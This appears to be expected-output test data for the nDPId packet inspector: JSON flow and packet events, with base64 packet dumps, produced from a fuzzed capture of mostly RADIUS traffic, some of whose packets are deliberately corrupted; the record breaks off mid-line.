+00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":166,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1528997655528,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01353{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997659,"pkt_ts_usec":285416,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbtPFAAP8RAAAKDEAexuIZPnIQBxQCxwAAAV4Cv0qC4LnwI1oT30\/+r6N\/324aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADchDQM1NwZbIqcbMzUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmUxd29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlJQB6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQIA5WWldDMlRXc3RMYWIaDHUAN2MBBgD2AAIGBgAAAAIMBgAABRQ9BgAAABNHBgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0Z2FiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAlAMglBVZ6VxoNAAA4IQ4HMDclADEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASL5LJM0zKVOhBluOjWkW9+A=="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":168,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1528997659473,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29295,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997659,"pkt_ts_usec":473455,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVccnCABFAADhA6lAAPwRUBjG4hk+CgxAHgcUcm8AzZu5C14AxUxI+gXiLIrMuBk\/g\/m1ALsBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4T0oBAgBIFwEAAAEFAACnLVLIF0rTm6KFdNC987pOAgUAAJOGz1Q0xAAAaP51Ml0i0tuLAQACCwUAAGEYnEUncDkjDC3ik4qARkBQEl1GRO63bmbIH3rSxoBwm9k="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":168,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1528997659473,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29295,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01325{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997659,"pkt_ts_usec":803735,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHtPJAAP8RAAAKDEAexuIZPnIQBxQCswAAAV8Cq4u3v\/AI1pCqOyPuExx1k6FwCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM1RQZbIqcbATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jY\/0xMS4zZ3BwbmV0d29yay5vcmdZhhB+CDFjaXNjb4MGJQAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABjIAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAACko3IYMyHHAM47ZS3aaJ9qAwIAIPaHgNUaFAAAV8glAFaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00779{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997660,"pkt_ts_usec":3794,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"ABRP+4rqcNuYVcUnCABFAAEwA65AAPwRT8TG4hk+CgxAHgcUchABHFcyAl8BFHoykfgj\/Xd90spv0VGuIxkaCwAAV8gbBVNQQxpuAAABNxA0y0HUfpHpu9Z3knb9Jpgvmt8vWbZneyAfXcD6muQub+z7bwH3sqeNrHKOY569w344TjoRNMcMuZNkGqJng8EUVV9syhhxc2110dDxowezjCZXGmCAOyFNoMiW2LHvnImGQN+XL1\/kATUwMzExPDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm0lADMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNzE2L2YwOjc5OjYwOmQxOjdkOjM3ZjIyOFksOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJZyPqb4BVbNz+q0H3p2bHm"} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":171,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1528997663786,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29304,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01351{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997663,"pkt_ts_usec":786396,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIRJAAP8RAAAKDEAexuIZNXJ4BxQCxwAAAWACvwChXhfZ\/4Ullo9FfFDZMhwaSgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQc2NwZbIqcfATUwMzExNDgwMDczNjM4MDcyQHdsYW74bW5CNDgwLm1jJQAxMS4zZ3BwbmV0dW9yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtN0MtNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjqzAwMDAwYzUxNmE3MjI1YiwgNWIiMmE3MTYvJQA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQIA5WWldDMlRlc3RMYWIaDAgAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNnCXBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gJClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBElAHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8hABVZ6VxoNAAA4IQ4HMDcwNzMaDAAAOPYRBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAm0VAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS63yjoOn5DGF0SWn3Fz+BWg=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":171,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1528997663786,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29304,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1528997663992,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"flow_datalink":1,"flow_max_packets":15} +00674{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997663,"pkt_ts_usec":992299,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhA8JAAPuqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1528997655528,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1528997659473,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29295,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1528997663786,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29304,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1528997655006,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"37.0.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1528997663992,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00465{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1528997663992,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"flow_datalink":1,"flow_max_packets":15} +00739{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997664,"pkt_ts_usec":794099,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAAEwJQBAOfwRT6vG4hk1CgxAHgcUchABHPYEAmEBFD8mC375vqLp+KF9uwm3k4gaCwAAV8gbBVNQQxpuAAABNxA07wUYi7+P\/KZsVS9NJaMwCtVJk9jEkC3Vl7jOtDBnuTtoap5IYaKcg6eQ4RJKJBTY9DYRNNB+ybyX+uSA4d1O4JYyTwpoEtUi2e6DQEAJ+nzQSzAvvoa2HSAJtTQFSW0rq69l6fpVATUwMzExNDgwMDcTwDM4MDcyQHdsYW4ubW5jNDjSLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNzE2L2YwOjc5OjYwOmQxOjdkOjM3LzIyOFkMOTA4JQAhMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJTXIMaNTnLNgc2lqiL9H7Q"} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":174,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +01310{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":175,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997683,"pkt_ts_usec":254797,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABRAALbIRRAAP8RAAAKDEAexuIZNXIQBxQCxwAAAWICv9GcOA+HA3ZCcU+zBYarldEaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXMlNQUjEwGgkAADghDQM4NwZbIqczATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUyLTAwOlZlchR6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJAzdhdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzUxNmE3MjI1YiwgNWIyMlE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNMcHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3Rhqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":175,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":176,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1528997683490,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.172.158","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00677{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997683,"pkt_ts_usec":490128,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhA\/1AAPsRUM3G4hk1CgysngcUchAAzV+4C2IAxbjeL+gJ\/Z8y3pAVBW+ilI8BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrTG9yZywgNWIyMmE3MTYvZjA6Nzk6NjA6UjE6NyUAMzcvMjI4T0oBAgBIFwEAAAEFAACeTPrzq4G+qMdV63zS5jgKAgUAANMitQR5aAAATi\/4eqBv42KLAQBzCwUAAI3Vpdgp79asxAN0pnzOl99QEuFioroE6q1umxIDXtaj55s="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":176,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1528997683490,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.172.158","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":177,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1528997683835,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.119.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01322{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997683,"pkt_ts_usec":835823,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4vqCABFAALHIRVAAP8RAAAKDEAexncZNXIQBxQCswAAAWMCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":180,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1528997687969,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1965,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997687,"pkt_ts_usec":969587,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhBApAAPwRT8DG4hk1CgxAHgetchAAzW6NC2QAxZQNQW9gM5ZAoOSO4YFP3T0BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4T0oBAgBIFwEAAAEFAABnRC75Yur1ZFj3fN3BeW98AgUAAFegbuvq5gAA\/FNfCuUdMLiLAQACCwUAAJwUGRbAWowbz35Ho4OQS4FQEj0VhwwOXHKZf7fI3xH\/2bM="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":180,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1528997687969,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1965,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997692,"pkt_ts_usec":784807,"pkt_caplen":725,"pkt_type":2304,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"ACUAB2ugABRP+4rqCQBFAALHIRlAAP8RAAAKDEAexuIZNXIQBxQCswAAAWcCq6p8EPt1JA7lQ+Db9yRaDGkaCgAAV8gOBFVTGnAAAFfIDQZ3aWZpGg8AAFfICSlXSVNQUjEwGgkAADghDQM5NwZbIqc8ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLUkwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAIJASthdWRpdC1zZXNzaW9uLWlkJQAwZmYxMGFjMDIwMDAwYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQII5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGIQAAAAIMBgAABRQ9Bk0AABNABgAAAA1BBgAAAAZRBDU2TyYCAnEkFwEAAAsFAAB5qZtl7jXBbH7Ivr+LWOj2AwIAIKwexEUaFAAAVsgHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJgwBXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXwB0RVlpXIEMyIFRlc3QgTGFiGgslAFclAAVWelcaDQAAOCEOBzA3MD